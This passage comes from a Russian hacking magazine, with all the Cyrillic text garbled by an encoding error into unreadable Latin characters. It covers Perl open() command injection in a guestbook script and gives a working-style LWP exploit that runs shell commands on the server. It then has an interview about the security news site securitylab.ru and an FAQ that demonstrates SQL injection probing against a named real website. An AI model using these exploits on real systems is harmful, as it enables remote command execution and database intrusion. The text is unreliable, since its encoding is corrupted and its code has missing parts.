ìîæåì âñÿêîå. Íàïðèìåð, åñëè ïàðàìåòð ïåðåäàåòñÿâ èìÿ ôàéëà áåç ôèëüòðàöèè, ëèáî åñëèôèëüòðàöèÿ âûïîëíåíà êðèâî, òî ýòî áóäåò îçíà÷àòü,÷òî ìû èìååì âñå âîçìîæíîñòè äëÿ âûïîëíåíèÿ ëþáûõêîìàíä â shell'å ñ ïðàâàìè âåá-ñåðâåðà. Çäåñüíóæíî ñäåëàòü ìà-à-àëåíüêîå ëèðè÷åñêîå îòñòóïëåíèå.Ñòàíäàðòíàÿ ïðîöåäóðà open() â Perl ìîæåò ïðèíèìàòüíå òîëüêî èìåíà ôàéëîâ â âèäå ñòðîê, íî èïðîèçâîëüíûå êîìàíäû. Ýòî î÷åíü óäîáíî, åñëè òðåáóåòñÿâûïîëíèòü âíåøíþþ ïðîãðàììó è ïîëó÷èòüåå âûâîä. Îäíàêî ýòà âîçìîæíîñòü òàèò â ñåáå íåõèëóþäûðó. ×òîáû ïîñìîòðåòü, êàê ýòî ðàáîòàåò, ïðåäëàãàþñäåëàòü ñëåäóþùåå:>perl -d -e 0>open FF, 'ls -l |';>print ;Ïîÿñíþ. Ïåðâîé ñòðî÷êîé ìû çàïóñêàåì îòëàä÷èêâ ìèíèìàëüíîì ðåæèìå (â êà÷åñòâå îòëàæèâàåìîãîêîäà ó íàñ ìèíèìàëüíî-äîïóñòèìàÿ ñòðîêà —«0»), ïîñëå ÷åãî â êîíòåêñòå îòëàä÷èêà âûïîëíÿåìïðîáíûé êîä (îòëàä÷èê — ýòî î÷åíü óäîáíûé ñïîñîááûñòðîé ïðîâåðêè áåçóìíûõ èäåé).ðåçóëüòàòû âûïîëíåíèÿ êîìàíä â êîíòåêñòå îòëàä÷èêà.Äóìàþ, ïîëó÷åííûå ðåçóëüòàòû â êîììåíòàðèÿõíå íóæäàþòñÿ. Ãðóáî, íå âäàâàÿñü â ïîäðîáíîñòè:ìû âûïîëíÿåì âíåøíþþ ïðîãðàììó è ñîçäàåì pipeñ âûõîäîì íà ôàéëîâûé äåñêðèïòîð. Ïðèíöèïèàëüíîâñå íåñêîëüêî èíà÷å, íî íàñ ýòî ñåé÷àñ íå âîëíóåò.Èòàê. Ïðîâåðÿåì, ôèëüòðóåòñÿ ëè èíòåðåñóþùååíàñ ïîëå è íå îøèáëèñü ëè ìû, ïðåäïîëîæèâ, ÷òîîíî èìååò îòíîøåíèå ê èìåíè ôàéëà, â êîòîðîìõðàíèòñÿ çàïèñü. Ñîñòàâèì çàïðîñ:Ðèñóíîê 1


67http://dm9.ru/cgi-bin/perltest/script.cgi?Send=%D0%9E%D1%82%D0%BF%D1%80%D0%B0%D0%B2%D0%B8%D1%82%D1%8C&text=1&name=1&ID=ls%20-la%20|.ïàðàìåòð â íàøåì ïðèìåðå íå ôèëüòðóåòñÿ,à çíà÷èò — ïðàçäíèêó áûòü! Òàêîé áåçàëàáåðíûéïîäõîä ê âíåøíèì äàííûì äàåò íàì êàðò-áëàíø íàâûïîëíåíèå êîìàíä íà ñòîðîíå ñåðâåðà. Ñîáñòâåííî,âîò ìû è ïîäîøëè ê ñàìîìó èíòåðåñíîìó. Êàæäûéðàç ôîðìèðîâàòü çàïðîñ âðó÷íóþ — íå íàøìåòîä, è ìû íàìåðåâàåìñÿ ýòîò ïðîöåññ êàê-òî àâòîìàòèçèðîâàòü.Òî÷íåå, íå ïðîñòî àâòîìàòèçèðîâàòü,íî è âûëîæèòü ýêñïëîéò â ñåòü íà ñëó÷àé, åñëèíàø çëî-ïðîãðàììåð çàõî÷åò ñäåëàòü ïðîäóêòñâîåãî òâîð÷åñòâà îáùåäîñòóïíûì. Òàêèì îáðàçîì,ìû çàâîþåì ïî÷åò è óâàæåíèå ñðåäè ñåêüþðèòè-òóñîâêè(ñîìíèòåëüíî, ÷åñòíî ãîâîðÿ :)). Èòàê. Íàøýêñïëîéò áóäåò ïðèíèìàòü â êà÷åñòâå ïàðàìåòðàURL äûðÿâîé ãåñòáóêè è âûâîäèòü øåëëîïîäîáíîåïðèãëàøåíèå äëÿ ââîäà êîìàíä, âûâîäÿ ðåçóëüòàòíà íàø òåðìèíàë. Òàêèì îáðàçîì, ìû ñîçäàäèìïîëíóþ èëëþçèþ ðàáîòû ñ øåëëîì. Îäíàêî ñòîèòïîìíèòü, ÷òî íàøè ïîõîæäåíèÿ áóäóò âèäíû âñåìïîñåòèòåëÿì ñàéòà, èáî ìû, ôàêòè÷åñêè, îñòàâëÿåìâ êà÷åñòâå ëîãà çàïèñü â êíèãå íà êàæäîå ñâîåäåéñòâèå, òàê ÷òî íàø èìïðîâèçèðîâàííûé øåë íàäîèñïîëüçîâàòü áûñòðî è òîëüêî êàê ïåðâóþ ñòóïåíüíà ïóòè ê êîíòðîëþ íàä ñèñòåìîé. ×òîáû ðåàëèçîâàòüýäàêèé øëþç ìåæäó íàìè è ñåðâåðîì, íàìïîíàäîáèòñÿ áèáëèîòåêà LWP äëÿ ôîðìèðîâàíèÿçàïðîñîâ è ðàçáîðà îòâåòîâ (áîëåå ïîäðîáíóþ èíôîðìàöèþîá ýòîé è äðóãèõ áèáëèîòåêàõ ñìîòðèâ ýòîì æå íîìåðå). Êðàòêèé êîä ïðîñòîãî ýêñïëîéòàïðèâåäåí â ëèñòèíãå 2. Êîä î÷åíü íåñëîæíûé è êîììåíòèðîâàòüòàì, îïÿòü æå, íå÷åãî. Ñîçäàåì îáúåêòçàïðîñà, ïîäñòàâëÿÿ òóäà ñ÷èòàííóþ ñ ââîäà êîìàíäó,ïîëó÷àåì îòâåò è âûâîäèì åãî íà òåðìèíàë. Âñåãî-òî!ß äóìàþ, ôèëüòðàöèþ âûâîäà äëÿ îòñå÷åíèÿHTML è êîíòðîëü ââîäà êàæäûé ñìîæåò äîáàâèòüñàì. Ìû íàïèñàëè ïðîñòîé ýêñïëîéò, êîòîðûé äàåòíàì âîçìîæíîñòü âûïîëíÿòü ïðîèçâîëüíûå êîìàíäûíà ñòîðîíå ñåðâåðà.Ðàññìîòðåííûé íàìè ïðèìåð ñîçíàòåëüíî óïðîùåí.Íî áûëî áû îøèáêîé äóìàòü, ÷òî òàêîãî ðîäàïðîñ÷åòû íå âñòðå÷àþòñÿ â ðåàëüíîñòè. Âñòðå÷àþòñÿ,è åùå êàê! Êîíå÷íî, â íå ñòîëü ðàôèíèðîâàííîìâèäå, è, áåçóñëîâíî, ïðèäåòñÿ ïîïîòåòü, ÷òîáûíàéòè óÿçâèìîñòü â áîëüøîì, ïðîôåññèîíàëüíîìïðîåêòå, — íî íà òî íàì è äàíà ãîëîâà.  ýòîé ñòàòüåÿ ðàññìîòðåë ñàì ïðîöåññ íàïèñàíèÿ ýêñïëîéòà —îñíîâíûå ñòàäèè ðàáîòû íàä óÿçâèìîñòüþ, â êîòîðûåíåîáõîäèìî âíèêíóòü, ÷òîáû ñîçäàíèå ýêñïëîéòîâïåðåñòàëî àññîöèèðîâàòüñÿ ñ êàêèìè-òî íåäîñòèæèìûìèâåðøèíàìè ìàñòåðñòâà. Êàêîé âûâîäìîæíî ñäåëàòü èç âñåãî ýòîãî áåçîáðàçèÿ? Äàæåíåáîëüøàÿ íåáðåæíîñòü âî âòîðîñòåïåííîì êîäå ìîæåòïóñòèòü êîòó ïîä õâîñò áåçîïàñíîñòü âñåé ñèñòåìû.Îøèáêè åñòü â ëþáîì êîäå, íóæíî òîëüêî óìåòüèõ èñêàòü.…îáðàòèìñÿ ê HTML-êîäó íàøåé ìíîãîñòðàäàëüíîé ãîñòåâîé êíèãè(1)Date: Mon Dec 25 17:55:37 UTC 2006Name:ÀäìèíÓ íàñ ïîÿâèëàñü Ìåãà-ãåñòáóêà! [...SKIPPED...] Name: Ââåäèòå ñâîå ñîîáùåíèå: À âîò è ëèñòèíã íàøåãî íåñëàáîãî ýêñïëîéòà(2)#!/usr/bin/perl -wuse strict;use LWP::UserAgent;my $obj = LWP::UserAgent->new();my $req = "";my $url = shift;while(1){my $comm = "";print '> ';$comm = ;chomp($comm);my $query =$url.'?Send=%D0%9E%D1%82%D0%BF%D1%80%D0%B0%D0%B2%D0%B8%D1%82%D1%8C&text=1&name=1&ID='.$comm;print "\n".$query."\n";$req = HTTP::Request->new(POST => );my $result = $obj->request($req);if($result->is_success){print "ok!\n";print $result->content;}}1;


68 SPECIAL DELIVERY ÑÏÅÖ 02-07SPE IALÈÍÒÅÐÂÜÞÀëåêñàíäð Àíòèïîâ —Â íàñòîÿùèé ìîìåíò ñîòðóäíèêêîìïàíèè PositiveTechnologies, çàíèìàåòñÿðàçðàáîòêîé ñàéòà securitylab.ru.Èìååò ìàññó ïðîôåññèîíàëüíûõíàâûêîâïî çàùèòå èíôîðìàöèè,à êîëè÷åñòâî ðàçíûõïðîñëóøàííûõ êóðñîâè ïîëó÷åííûõ ñåðòèôèêàòîâèñ÷èñëÿåòñÿ íåñêîëüêèìèäåñÿòêàìè.Èç óâëå÷åíèé â ïîñëåäíååâðåìÿ — ðàçâå ÷òî øàõìàòû,äà è òî, ïîòîìó ÷òîñûí ñòàë ïðîôåññèîíàëüíîèìè çàíèìàòüñÿ(http://michael.antipov.name),è ïîñòîÿííî ïðèõîäèòñÿåãî òðåíèðîâàòüÏÐÀÊÒÈ×ÅÑÊÈ Ó ÂÑÅÕÊÐÓÏÍÛÕ ÐÀÇÐÀÁÎÒ×ÈÊÎÂÅÑÒÜ ÏÐÎÅÊÒÛ ÏÎ ÁÅÇÎÏÀÑÍÎÑÒÈ,ÃÄÅ ÎÍÈ ÏÓÁËÈÊÓÞÒ ÈÍÔÎÐÌÀÖÈÞÎ ÍÀÉÄÅÍÍÛÕ ÓßÇÂÈÌÎÑÒßÕ ÈÂÛÊËÀÄÛÂÀÞÒ ÎÁÍÎÂËÅÍÈß.ÍÅÊÎÒÎÐÛÅ ÎÁÐÀÑÒÀÞÒÍÎÂÎÑÒÍÛÌÈ ËÅÍÒÀÌÈ ÈÑÎÁÑÒÂÅÍÍÛÌÈ ÑÒÀÒÜßÌÈ.ÊÀÊÎÉ ÒÎÃÄÀ ÑÌÛÑË Â ÏÐÎÅÊÒÀÕÒÈÏÀ SECURITYLAB.RU?ÀËÅÊÑÀÍÄÐ ÀÍÒÈÏÎÂ: Íè÷åãî òàêîãî îñîáåííîãî,÷åãî íåëüçÿ áûëî áû íàéòè èëè ïðî÷èòàòüâ äðóãèõ ìåñòàõ.  îáùåì-òî, ïðàâèëüíî, Security-Lab — ýòî íåêèé êëóá ïî èíòåðåñàì, â êîòîðîì ñîáèðàåòñÿèíôîðìàöèÿ î áåçîïàñíîñòè, ïîëó÷åííàÿèç ìíîæåñòâà èñòî÷íèêîâ. Ýòî ïîçâîëÿåò ïîñåòèòåëÿìçíà÷èòåëüíî ýêîíîìèòü âðåìÿ â ïîèñêàõíåîáõîäèìîé èíôîðìàöèè.ÒÎ ÅÑÒÜ ÝÒÎ, ÏÎ ÑÓÒÈ, ÀÃÐÅÃÀÒÎÐÈÍÔÎÐÌÀÖÈÈ ÈËÈ ÅÑÒÜ ÎÒËÈ×Èß?ÑÁÎÐ, ÀÍÀËÈÇ È ÎÁÐÀÁÎÒÊÀÌÀÒÅÐÈÀËΠÈÄÓÒ ÂÐÓ×ÍÓÞ?ÀËÅÊÑÀÍÄÐ ÀÍÒÈÏÎÂ: Êàê è äðóãîé íîâîñòíîéðåñóðñ, ÷àùå âñåãî ìû ñîîáùàåì ÷óæóþ èíôîðìàöèþ,à íå ñîçäàåì ñâîþ. Îäíàêî çà ïîñëåäíèéãîä ïîÿâèëîñü ìíîæåñòâî óíèêàëüíûõ àíàëèòè÷åñêèõìàòåðèàëîâ. Ýòî ñîâìåñòíûå èññëåäîâàíèÿ ñÞíåñêî ïî âîïðîñàì ïðàâà â Ðîññèè, èññëåäîâàíèÿïî ðàçëè÷íûì ïðîáëåìàì èíôîðìàöèîííîéáåçîïàñíîñòè ñ êîìïàíèåé Infowatch è äðóãèå.ËÞÁÎÉ ÏÐÎÅÊÒ, ÏÎÑÂßÙÅÍÍÛÉÁÅÇÎÏÀÑÍÎÑÒÈ, ÏÎ ÈÄÅÅ ÍÀÄÎÐÀÑÖÅÍÈÂÀÒÜ ÊÀÊ ÊËÀÄÅÇÜÈÍÔÎÐÌÀÖÈÈ ÄËß ÇÀÙÈÒÛ.ÍÎ ×ÀÑÒÎ ÝÒÓ ÈÍÔÎÐÌÀÖÈÞÈÑÏÎËÜÇÓÞÒ ÕÀÊÅÐÛ.ÏÎËÓ×ÀÅÒÑß, ÏÐÎÅÊÒ ÏÎÐÎÆÄÀÅÒÍÅ ÁÅÇÎÏÀÑÍÎÑÒÜ, À ÂÇËÎÌ?ÀËÅÊÑÀÍÄÐ ÀÍÒÈÏÎÂ: Ãäå ïîëó÷èòü íóæíóþèíôîðìàöèþ, õàêåðû âñåãäà íàéäóò è áåç Security-Lab. Ïîýòîìó ñòîèò çàäà÷à áîëåå àêòóàëüíàÿ èìåííîäëÿ ñïåöèàëèñòîâ ïî çàùèòå èíôîðìàöèè —íå ïðîïóñòèòü âàæíûå íîâîñòè â ìèðå îáåñïå÷åíèÿáåçîïàñíîñòè. Ñ äðóãîé ñòîðîíû, áûâàþò è ëåíèâûå«õàêåðû», êîòîðûì ïîäàé âñå íà áëþäå÷êå, îòêîìïèëèðóéíóæíûé ýêñïëîéò, äà è åùå îáúÿñíè, êàê ñíèì ðàáîòàòü. À åñëè ñåðüåçíî, ãðàíü ìåæäó áåçîïàñíîñòüþè âçëîìîì ðàñïëûâ÷àòà: äàæå web-áðàóçåðâ óìåëûõ ðóêàõ ìîæåò ïðåâðàòèòüñÿ â èíñòðóìåíòâçëîìà, íî ýòî æå íå îçíà÷àåò, ÷òî åãî íóæíîçàïðåùàòü èëè îãðàíè÷èâàòü ðàñïðîñòðàíåíèå.ÍÀÑÊÎËÜÊÎ ÍÎÂÎÑÒÍÎÉÈ ÀÍÀËÈÒÈ×ÅÑÊÈÉ ÊÎÍÒÅÍÒÁËÈÇÎÊ Ê ÐÅÀËÜÍÎÑÒÈ? ÎÁÛ×ÍÎÍÎÂÎÑÒÈ È ÑÒÀÒÜÈÂÛÊËÀÄÛÂÀÞÒÑß ÏÎÑÒÔÀÊÒÓÌ.È ÝÒÎ ÏÀÐÀÄÎÊÑÀËÜÍÎ — ÑÂÅÆÓÞÈÍÔÎÐÌÀÖÈÞ ÎÁÛ×ÍÎÊÓÄÀ ÁÛÑÒÐÅÅ ÌÎÆÍÎ ÍÀÉÒÈÍÀ ÑÀÉÒÀÕ ÕÀÊ-ÃÐÓÏÏ.ÀËÅÊÑÀÍÄÐ ÀÍÒÈÏÎÂ: Êîíå÷íî, ñàìûå èíòåðåñíûåè âîñòðåáîâàííûå ìàòåðèàëû ìû ñòàðàåìñÿîïóáëèêîâàòü ñðàçó ïîñëå èõ ïîÿâëåíèÿ. áîëüøèíñòâå ñëó÷àåâ íåáîëüøàÿ çàäåðæêà ïîëó÷åíèÿèíôîðìàöèè íå êðèòè÷íà äëÿ ÷èòàòåëÿñàéòà. Ïî ïîâîäó õàê-ãðóïï òû ïåðåãíóë, òàê êàêáîëüøèíñòâî èññëåäîâàòåëåé òåñíî ñîòðóäíè÷àþòñ ðàçðàáîò÷èêàìè è íèêîãäà íå îïóáëèêóþò èíôîðìàöèþäî âûõîäà ñîîòâåòñòâóþùåãî èñïðàâëåíèÿ.Âîîáùå â ïîñëåäíåå âðåìÿ ïðàêòè÷åñêèíå îñòàëîñü õàêåðîâ-ýíòóçèàñòîâ. Óÿçâèìîñòèèùóò ëèáî ñîòðóäíèêè security-ôèðì, äëÿ êîòîðûõïîèñê — ýòî ÷àñòü ðàáîòû, ëèáî êðèìèíàë, êîòîðûéïèøåò ýêñïëîéòû äëÿ ïîëó÷åíèÿ ïðèáûëè.ÊÀÊÈÌ ÏÐÎÅÊÒÀÌ ÄÎÂÅÐßÅØÜÑÀÌ È ÎÒÊÓÄÀ ÁÅÐÅØÜÎÑÍÎÂÍÓÞ ÌÀÑÑÓ ÍÎÂÎÑÒÍÎÉÈÍÔÎÐÌÀÖÈÈ È ÀÍÀËÈÒÈÊÓ?ÊÀÊ ÑÒÈÌÓËÈÐÓÅØÜ ÀÂÒÎÐÎÂÍÀ ÍÀÏÈÑÀÍÈÅ ÑÒÀÒÅÉ?ÀËÅÊÑÀÍÄÐ ÀÍÒÈÏÎÂ: Àâòîðîâ ìîæíî ñòèìóëèðîâàòüòîëüêî äåíüãàìè. ×àùå âñåãî ýòî âûëèâàåòñÿâ êîíêóðñû ñòàòåé, è àâòîðû ëó÷øèõ èç íèõïîëó÷àþò íåïëîõèå ïðèçû â äåíåæíîì èñ÷èñëåíèè.Íó, è ïåðåâîä. Êà÷åñòâî ïåðåâîäèìûõ ìàòåðèàëîâî÷åíü ÷àñòî íà ïîðÿäîê âûøå êà÷åñòâà òîãî,÷òî ìîãóò íàïèñàòü ñîáñòâåííûå àíàëèòèêè.Èñòî÷íèêîâ èíôîðìàöèè ñëèøêîì ìíîãî, ñëîæíîâûäåëèòü êàêîé-ëèáî èç íèõ.  ëþáîì ñëó÷àå,êàæäûé îïóáëèêîâàííûé ìàòåðèàë ïåðåïðîâåðÿåòñÿíà óíèêàëüíîñòü è äîñòîâåðíîñòü ïî ìåðåâîçìîæíîñòè. ÏÐÈÍÖÈÏÅ, ÍÈÊÒÎ ÍÅ ÌÅØÀÅÒÕÀÊÅÐÓ ÑÎÂÅÐØÈÒÜ ÀÒÀÊÓ ÏÎÄÂÈÄÎÌ Î×ÅÐÅÄÍÎÃÎ ÎÁÍÎÂËÅÍÈß,ÏÓÑÒÈ  ÑÅÒÜ ÈÍÔÎÐÌÀÖÈÞ ÎÏÑÅÂÄÎÓßÇÂÈÌÎÑÒÈ. À ÑÀÉÒÛÏÎ ÁÅÇÎÏÀÑÍÎÑÒÈ ÎÏÅÐÀÒÈÂÍÎÐÀÑÒÀÙÀÒ ÝÒÓ «ÄÅÇÓ», ÒÀÊ ÊÀÊÂÐßÄ ËÈ ÒÙÀÒÅËÜÍÎÏÐÎÂÅÐßÞÒ ÅÅ ÑÎÄÅÐÆÀÍÈÅ.ÒÀÊÎÅ ÂÎÇÌÎÆÍÎ?ÀËÅÊÑÀÍÄÐ ÀÍÒÈÏÎÂ: Äà, òàêèå ñëó÷àè âîçíèêàþòäîâîëüíî ÷àñòî. Êîíå÷íî, ñàéòû ïî áåçîïàñíîñòèíå èçó÷àþò ïðàâäèâîñòü èíôîðìàöèèîá óÿçâèìîñòè. Îäíàêî åñëè òàêîå ïðîèçîøëî,âñå ðàâíî ÷åðåç íåêîòîðîå âðåìÿ ñòàíåò èçâåñòíî


69î ïîäëîãå. Îïÿòü æå, òóò îïåðàòèâíîñòü òîëüêîâî âðåä, èíîãäà ñòîèò ïîäîæäàòü ïàðó äíåé è íåïóáëèêîâàòü íåïîäòâåðæäåííóþ èëè ïîäîçðèòåëüíóþèíôîðìàöèþ.ÄÐÓÃÀß ÏÐÎÁËÅÌÀ —  ÑÅÒÈÈ ÍÀ ÒÂÎÅÌ ÏÐÎÅÊÒÅ Â ×ÀÑÒÍÎÑÒÈÈÍÎÃÄÀ ÍÅÂÎÇÌÎÆÍÎ ÍÀÉÒÈÈÍÔÎÐÌÀÖÈÞ ÎÁ ÓßÇÂÈÌÎÑÒßÕÑËÀÁÎ ÐÀÑÏÐÎÑÒÐÀÍÅÍÍÛÕÏÐÎÃÐÀÌÌ.ÀËÅÊÑÀÍÄÐ ÀÍÒÈÏÎÂ: Íå òàê. Ìû ïóáëèêóåìèíôîðìàöèþ îáî âñåõ óÿçâèìîñòÿõ, î êîòîðûõáûëî ñîîáùåíî ïóáëè÷íî. Êîíå÷íî, èíôîðìàöèÿîá óÿçâèìîñòÿõ â ìàëîðàñïðîñòðàíåííûõ ïðîãðàììàõïîÿâëÿåòñÿ íå òàê îïåðàòèâíî, êàê â øèðîêîèñïîëüçóåìîì ÏÎ. Òàêæå íà ñàéòå ñîäåðæèòñÿïîëíàÿ áàçà äàííûõ îáî âñåõ óÿçâèìîñòÿõíà àíãëèéñêîì ÿçûêå: http://en.securitylab.ru/nvd/.Íà ñåãîäíÿøíèé äåíü — 21260, îáíàðóæåííûõñ 1 îêòÿáðÿ 1988 ãîäà.ÇÀ×ÅÌ ÏÎÄÐÎÁÍÎ ÎÏÈÑÛÂÀÒÜÓßÇÂÈÌÎÑÒÈ? ÊÓÄÀ ËÎÃÈ×ÍÅÅÌÎË×À ÄÅËÀÒÜ ÐÅÃÓËßÐÍÛÅÎÁÍÎÂËÅÍÈß Ê ÒÎÉ ÈËÈ ÈÍÎÉÏÐÎÃÐÀÌÌÅ. ÐÅÀËÜÍÛÅ ÕÀÊÅÐÛÂÑÅ ÐÀÂÍÎ Â ÊÓÐÑÅ ÄÅËÀ,À ÈÍÔÎÐÌÀÖÈÎÍÍÛÉ ÂÀÊÓÓÌÍÅ ÄÀÑÒ ØÀÍÑΠÍÀ ÂÇËÎÌ ÒÅÌ,ÊÒÎ ÑÀÌ Â ÝÒÎÌ ÍÈÊÎÃÄÀÍÅ ÐÀÇÁÅÐÅÒÑß.ÀËÅÊÑÀÍÄÐ ÀÍÒÈÏÎÂ:  öåëîì òû ïðàâ. Êîíå÷íîìóïîòðåáèòåëþ íå íóæíû ïîäðîáíîñòè óÿçâèìîñòè,åìó âàæíî çíàòü, ÷òî îíà óñòðàíåíà. Êîãäàñîîáùàåòñÿ, ÷òî çàêðûòà êðèòè÷åñêàÿ óÿçâèìîñòü,òî ëåã÷å ñðàçó óñòàíîâèòü ñîîòâåòñòâóþùååèñïðàâëåíèå, ÷åì êàæäûé ðàç ïîñëå âûõîäà íîâîéâåðñèè îáíîâëÿòü ÏÎ. Ïîýòîìó ðàçðàáîò÷èêè ñàìèçàèíòåðåñîâàíû â ðàçãëàøåíèè ôàêòà íàëè÷èÿóÿçâèìîñòè òîëüêî ïîñëå åå çàêðûòèÿ (íî îíè íå çàèíòåðåñîâàíûâ ðàñêðûòèè ñïîñîáà ýêñïëóàòàöèè).Ïîäðîáíàÿ èíôîðìàöèÿ î äûðå íóæíà, ê ïðèìåðó,ðàçðàáîò÷èêàì ñêàíåðîâ áåçîïàñíîñòè (÷òîáûâñòàâèòü ñîîòâåòñòâóþùèå ïðîâåðêè), IDS-ñèñòåì(äëÿ íàïèñàíèÿ ñèãíàòóð àòàê) è ïðîèçâîäèòåëÿìàíàëîãè÷íûõ ïðîãðàììíûõ ïðîäóêòîâ, ÷òîáû íå äîïóñêàòüâ ñâîèõ ïðîãðàììàõ ïîäîáíûõ îøèáîê.ÐÀÑÑ×ÈÒÛÂÀË ËÈ ÍÀ ÒÀÊÓÞÏÎÏÓËßÐÍÎÑÒÜ ÏÐÎÅÊÒÀ,ÊÎÃÄÀ ÂÑÅ ÒÎËÜÊÎ ÍÀ×ÈÍÀËÎÑÜ?ÒÛ ÓÆÅ ÐÅÀËÈÇÎÂÀË Â ÐÀÌÊÀÕÍÅÃÎ ÒÎ, ×ÒÎ ÕÎÒÅË, ÈËÈ ÅÑÒÜÅÙÅ ÇÀÄÓÌÊÈ? ÊÀÊÀß ÃËÀÂÍÀßÖÅËÜ ÍÀ ÑÅÃÎÄÍßØÍÈÉ ÄÅÍÜ?ÀËÅÊÑÀÍÄÐ ÀÍÒÈÏÎÂ: Íå ìîãó ñêàçàòü, ÷òîÿ íà ÷òî-òî ðàññ÷èòûâàë. Íà÷èíàëîñü âñå êàê õîááè,ïîòîì, êîãäà ñòàëè ñîòðóäíè÷àòü ñ êîìïàíèåéPositive Technologies, ïîÿâèëàñü âîçìîæíîñòü óäåëÿòüáîëüøå âðåìåíè ñîçäàíèþ ñàéòà è ïðåäîñòàâëåíèþíóæíîé èíôîðìàöèè. Ñåé÷àñ íå ðåàëèçîâàíîè ÷åòâåðòè òîãî, ÷òî ÿ ïëàíèðóþ. Íî ÷òîáû âñåýòî ñäåëàòü, íóæåí åùå íå îäèí ãîä ðàáîòû.


S P E I A L F A QÍà âîïðîñû îòâå÷àëSpider_Net(spider_net@inbox.ru),www.vr-online.ruÓ÷àñòíèê ïðîåêòàvr-online.ru, ðàíååïðèíèìàë ó÷àñòèåâ ïðîåêòå mashp(mashp.h10.ru). ðåàëüíîé æèçíèðàáîòàåòàäìèíèñòðàòîðîì ÁÄè ïðîãðàììèñòîì. ïðîôåññèîíàëüíîìïðîãðàììèðîâàíèèáîëåå 4 ëåò, â îñíîâíîìïèøåò íà Delphi è PHP.ÎÁÛ×ÍÎ ÄËß ÒÎÉ ÈËÈ ÈÍÎÉ ÀÒÀÊÈÍÀÄÎ ÇÍÀÒÜ ÑÅÐÂÅÐ ÁÀÇ ÄÀÍÍÛÕÈ ÅÃÎ ÂÅÐÑÈÞ. ÑÓÙÅÑÒÂÓÞÒ ËÈÝÔÔÅÊÒÈÂÍÛÅ ÑÏÎÑÎÁÛ ÈÕÎÏÐÅÄÅËÅÍÈß?Ñóùåñòâóþò, õîòÿ 100% ðàáîòàþùåãî ñïîñîáàíåò. Äëÿ íà÷àëà íóæíî ïîïðîáîâàòüâíåäðèòü êàêîé-íèáóäü ñïåöñèìâîë â ëþáîé çàïðîñ,äîïóñòèì, ýòî áóäåò îäèíàðíàÿ êàâû÷êà. Åñëèñöåíàðèé íå ôèëüòðóåò ïåðåäàííûå ïàðàìåòðû,òî òû äîëæåí óâèäåòü ñîîáùåíèå îá îøèáêå.Èç òåêñòà îøèáêè ìîæíî óçíàòü íàçâàíèå ñåðâåðàÁÄ. Äîïóñòèì, ýòî MySQL. ×òîáû îïðåäåëèòü âåðñèþ,ìîæíî ïîïðîáîâàòü âíåäðèòü ôóíêöèþ version()â çàïðîñ. Îíà âîçâðàùàåò íîìåð âåðñèèMySQL. Íåêîòîðûå ãðàìîòíûå ïðîãðàììèñòû îòêëþ÷àþòâûâîä ëþáûõ îøèáîê, íî, òåì íå ìåíåå,äàííûå, êîòîðûå ñöåíàðèé ïîëó÷àåò îò ïîëüçîâàòåëÿ,ôèëüòðóþòñÿ ïëîõî.  ðåçóëüòàòå SQL Injectioníå îòìåíÿåòñÿ, íî ïðèõîäèòñÿ ðàáîòàòü âñëåïóþ.Âîò ðåàëüíûé ïðèìåð. Íà îôèöèàëüíîì ñàéòåîäíîé èç ìîèõ ëþáèìûõ ãðóïï åñòü ðàçäåëñ òåêñòàìè èõ ïåñåí, âñå òåêñòû õðàíÿòñÿ â ÁÄ,è èõ âûáîðêà ïðîèñõîäèò ñ ïîìîùüþ ñöåíàðèÿ íàPHP ñëåäóþùèì îáðàçîì. Ïðè çàãðóçêå ýòîéññûëêè — www.kipelov.ru/ly.php?idtxt=1 — ïîëó÷àåìñòðàíè÷êó ñ òåêñòîì ïåñíè ïîä íîìåðîì îäèí. Åñëèïîïðîáîâàòü âñòàâèòü êàêîé-íèáóäü ñïåöñèìâîëâ ïåðåìåííóþ idtxt, òî çàãðóçèòñÿ ïðîñòî ÷èñòàÿñòðàíèöà áåç êàêèõ-ëèáî íàìåêîâ íà îøèáêó. òàêîì ñëó÷àå ïîïðîáóåì âíåäðèòü ôóíêöèþ version()â ýòîò çàïðîñ: www.kipelov.ru/ly.php?idtxt=version().Òåïåðü ìû âèäèì íå ÷èñòóþ ñòðàíèöó, à ïå-


71ñåíêó ïîä íîìåðîì ÷åòûðå. Çíà÷èò, ôóíêöèÿ versionâåðíóëà «4», è, ñëåäîâàòåëüíî, ìû èìååì äåëîñ ÷åòâåðòîé âåðñèåé «ìóñêóëà». ×òîáû òî÷íîîïðåäåëèòü íàçâàíèå ñåðâåðà ÁÄ, ìîæíî ïîïûòàòüñÿâíåäðèòü â çàïðîñ òå ôóíêöèè, êîòîðûåïðèñóòñòâóþò òîëüêî â ðåàëèçàöèè SQL îïðåäåëåííîãîñåðâåðà ÁÄ. Äëÿ ýòîãî íåîáõîäèìî çíàòüòîíêîñòè áîëüøèíñòâà èçâåñòíûõ ñåðâåðîâ èëèèñïîëüçîâàòü ñïåöèàëüíûå ïðîãðàììêè.Åñëè íè îäíà ïîïûòêà íå óâåí÷àëàñü óñïåõîì,íå ðàññòðàèâàéñÿ! Óçíàé õîñòåðà, íà ñåðâåðåêîòîðîãî ðàñïîëîæåí ýòîò ñàéò. Ïîòîì çàéäè íàåãî îôèöèàëüíóþ ñòðàíèöó.  áîëüøèíñòâå ñëó÷àåâõîñòåðû îïèñûâàþò êîíôèãóðàöèþ ñâîèõ ñåðâåðîâè ÏÎ, óñòàíîâëåííîå íà íèõ. Åñëè íà ñàéòåíè÷åãî íåò, òî ïîïðîáóé íàïèñàòü ïèñüìî.  ïèñüìåîáúÿñíè, ÷òî òû õî÷åøü âîñïîëüçîâàòüñÿ óñëóãàìèõîñòèíãà, à ãëàâíûé êðèòåðèé — ñåðâåð ÁÄ. èòîãå, òû ïîëó÷èøü îòâåò íà ñâîé âîïðîñ. ×òîêàñàåòñÿ ñåðâåðà MySQL, òî äëÿ îïðåäåëåíèÿ åãîâåðñèè ñóùåñòâóþò ñïåöèàëüíûå ïðîãðàììêè. Êïðèìåðó, ðåëèç îò êîìàíäû UkrTeam. Åå èñõîäíûéòåêñò åñòü íà äèñêå ê æóðíàëó. Ìîæåøü åùå çàãëÿíóòüíà www.packetstortsecuiry.nl.ÂÎÇÌÎÆÍÎ ËÈ ÂÍÅÄÐÈÒÜSQL INJECTION ×ÅÐÅÇ ÏËÞØÊÈ(COOKIES)?Áûâàþò òàêèå ñëó÷àè, êîãäà âåá-ïðîãðàììèñòûèçâðàùàþòñÿ è îñóùåñòâëÿþò ëþáóþïåðåäà÷ó äàííûõ ïîñðåäñòâîì POST-çàïðîñîâ.Ïðè èñïîëüçîâàíèè ýòîãî ìåòîäà â 